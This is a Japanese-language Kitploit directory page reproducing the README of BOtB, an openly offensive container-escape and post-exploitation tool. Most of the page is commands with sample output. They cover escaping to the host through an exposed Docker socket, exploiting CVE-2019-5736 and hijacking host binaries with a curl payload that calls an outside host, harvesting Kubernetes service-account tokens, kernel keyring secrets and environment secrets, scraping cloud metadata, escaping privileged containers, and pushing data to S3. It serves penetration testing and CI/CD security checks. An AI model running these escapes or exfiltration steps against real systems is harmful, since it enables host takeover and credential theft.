Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
botb — ペンテスターやエンジニア向けのコンテナ分析・悪用ツール。 | Kitploit
ツール/GitHubGitHub/brompwnie/botb
コンテナセキュリティ脆弱性分析エクスプロイトポストエクスプロイトペネトレーションテストクラウドセキュリティコンテナエスケープ
GitHubbrompwnie/botb

botb

ペンテスターやエンジニア向けのコンテナ分析・悪用ツール。

リポジトリを見る
6845664年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Github All Releases

Break out the Box (BOtB)

BOtB は、ペネトレーションテスターやエンジニア向けに設計されたコンテナ分析および悪用ツールであり、一般的な CI/CD 技術と連携して使用できます。

機能

BOtB は CLI ツールであり、以下のことが可能です:

  • 一般的なコンテナ脆弱性の悪用
  • 一般的なコンテナ事後悪用アクションの実行
  • コンテナ内で特定のツールやバイナリが利用できない場合の機能提供
  • CI/CD 技術を使用した BOtB の機能をコンテナデプロイのテストに活用
  • 上記を手動または自動のアプローチで実行

現在の機能

  • 露出した Docker デーモン(docker.sock)を介したコンテナ脱出の実行
  • CVE-2019-5736 を介したコンテナ脱出の実行
  • 有効な CAPS および SYSCALLS を介した特権コンテナ脱出の実行
  • 寛容な seccomp プロファイルを通じて keyctl syscall を悪用し、Linux カーネルキーリングからデータ抽出
  • Kubernetes Service Account のシークレットを特定し、それらを使用しようとする
  • メタデータサービスエンドポイント(例:http://169.254.169.254、http://metadata.google.internal/、http://100.100.100.200/)の識別
  • GCP メタデータエンドポイントからのメタデータ情報のスクレイピング
  • 環境変数(ENV)および ProcFS(例:/Proc/{pid}/Environ)内の機密文字列の分析と特定
  • UNIX ドメインソケットの発見と特定
  • HTTP をサポートする UNIX ドメインソケットの特定
  • UNIX ドメインソケットまたはインターフェース上の Docker デーモンの発見と特定
  • カスタムペイロードを使用したホストバイナリのハイジャック
  • CI/CD モードでのアクション実行、成功時のみ終了コード > 0 を返す
  • S3 バケットへのデータプッシュ
  • BOtB に常に終了コード 0 を返させる(非ブロッキング CI/CD に便利)
  • 上記を CLI 引数または YAML 設定ファイルから実行
  • 逆引き DNS ルックアップの実行

インストール

バイナリ

バイナリからのインストール手順については、リリースページ をご覧ください。

Go を使用

root@kitploit:~
go get github.com/brompwnie/botb

ソースからのビルド

Go を使用した BOtB のビルド:

root@kitploit:~
go build

Make を使用した BOtB のビルド:

root@kitploit:~
make

使用方法

BOtB は対象プラットフォーム向けにバイナリにコンパイルでき、以下のように使用します。

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        RuncPWN の悪用を試みます(デフォルト "nil")
  -always-succeed
        BOtB の終了コードを常にゼロに設定します
  -autopwn
        露出したソケットの自動悪用を試みます
  -cicd
        自動悪用を試みますが、TTY に落ちず、成功した場合は終了コード 1、そうでなければ 0 を返します
  -config string
        指定された yaml ファイルから設定を読み込みます(デフォルト "nil")
  -endpoints string
        テストに使用するエンドポイントが記載されたテキストファイルを指定します(デフォルト "nil")
  -find-docker
        Dockerd の検出を試みます
  -find-http
        HTTP が利用可能な UNIX ドメインソケットを探索します
  -find-sockets
        利用可能な UNIX ドメインソケットを探索します
  -hijack string
        ホスト上のバイナリのハイジャックを試みます(デフォルト "nil")
  -k8secrets
        K8's シークレットの特定と検証を行います
  -keyMax int
        最大キー ID 範囲(デフォルト 100000000)、システム最大値は 999999999(デフォルト 100000000)
  -keyMin int
        最小キー ID 範囲(デフォルト 1)(デフォルト 1)
  -metadata
        メタデータサービスの検出を試みます
  -path string
        UNIX ドメインソケットのスキャンを開始するパス(デフォルト "/")
  -pwn-privileged string
        --privilege CGROUP release_agent を悪用する際のコマンドペイロードを提供します(デフォルト "nil")
  -pwnKeyctl
        keyctl syscall を悪用し、Linux カーネルキーリングからデータを抽出します
  -recon
        コンテナ環境の偵察を実行します
  -region string
        AWS リージョン(例:eu-west-2)を指定します(デフォルト "nil")
  -rev-dns string
        サブネットに対する逆引き DNS ルックアップを実行します。パラメータは CIDR 表記で指定します(例:-rev-dns 192.168.0.0/24)(デフォルト "nil")
  -s3bucket string
        S3 プッシュ用のバケット名を指定します(デフォルト "nil")
  -s3push string
        S3 にファイルをプッシュします(例:https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME にプッシュする完全なコマンドは:-region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME)(デフォルト "nil")
  -scrape-gcp
        GCP メタデータサービスのスクレイピングを試みます
  -verbose
        詳細な出力
  -wordlist string
        ワードリストを提供します(デフォルト "nil")

BOtB は config パラメータを使用して YAML ファイルから設定を読み込むこともできます。

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

以下の使用例では、デフォルトで異常が検出された場合に終了コード > 0 を返します。これは "echo $?" で最後に実行されたコマンドの終了コードを示しています。

適切に保護されていない Linux カーネルキーリングシークレットの特定と抽出

原作者からの詳細情報はこちら https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

マウントされた Kubernetes Service Account シークレットの特定と検証

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

露出した Docker デーモンを介したコンテナからの脱出

このアプローチでは、ホスト上のインタラクティブ TTY に脱出します。

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

CI/CD フレンドリーな方法でのコンテナ脱出

このアプローチではホスト上の TTY に脱出せず、代わりに終了コード > 0 を返してコンテナ脱出の成功を示します。

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

カスタムペイロードを使用した CVE-2019-5736 の悪用

このエクスプロイトが機能するには、対象コンテナ内でプロセスが実行される必要があることに注意してください。

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

カスタムペイロードを使用したホスト上のコマンド/バイナリのハイジャック

これは、外部エンティティがコンテナ内でコマンドを実行しているかどうかをテストするために使用できます。例としては、Docker Exec や kubetcl cp があります。

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

UNIX ドメインソケットの発見

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

Docker デーモンの発見

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

機密文字列のための環境変数と ProcFS Environ の分析

デフォルトでは、BOtB は "secret" と "password" の 2 つの用語を検索します。

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

BOtB にワードリストを指定して、特定のキーワードをスキャンすることもできます。

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

メタデータエンドポイントのスキャン

BOtB はデフォルトで 2 つのメタデータエンドポイントをスキャンします。

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

BOtB にはスキャンするエンドポイントのリストを指定することもできます。

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

HTTP に応答する UNIX ドメインソケットのスキャン

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

GCP メタデータインスタンスからのデータスクレイピング

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

AWS S3 バケットへのデータプッシュ

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

特権コンテナからの脱出

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

BOtB に常に終了コード 0 で成功させる

これは非ブロッキング CI/CD テストに便利です。

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

YAML 設定ファイルを使用した BOtB の使用

YAML ファイル cfg.yml の例

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

上記の YAML を使用して BOtB を実行

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

CI/CD での BOtB の使用

BOtB は、終了コードを使用してテストの合格/不合格を判断する CI/CD 技術と連携できます。以下は、2 つの BOtB テストを実行し、2 つのテストの終了コードを使用してシェルスクリプトの終了コードを設定するシェルスクリプトです。いずれかのテストが終了コード > 0 を返した場合、シェルスクリプトを実行しているテストは失敗します。

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

上記のスクリプトは BOtB を CI/CD 技術と共に使用する唯一の方法ではなく、シェルスクリプトでラップせずに単独で使用することもできます。YML 設定の例は次のとおりです。

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

以下は、Heroku CI で使用できる設定例です。

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

以下は、ラッパーシェルスクリプトを使用する Heroku CI の設定例です。

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

問題、バグ、改善点

バグについては、Issue を提出してください。改善点は多数ありますが、BOtB に追加してほしい機能があれば、Issue を提出してください。

参考文献とリソース

このツールはコミュニティの他の方々の貢献なしには実現しませんでした。以下は、私を助けてくれたリソースのリストです。

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

トークとイベント

BOtB は以下のイベントで発表される予定です:

  • BSides London 2019 (https://sched.co/PAwB)、スライドはこちら https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

ライセンス

BOtB は、Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0) の下でライセンスされています。

ツールをダウンロード
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/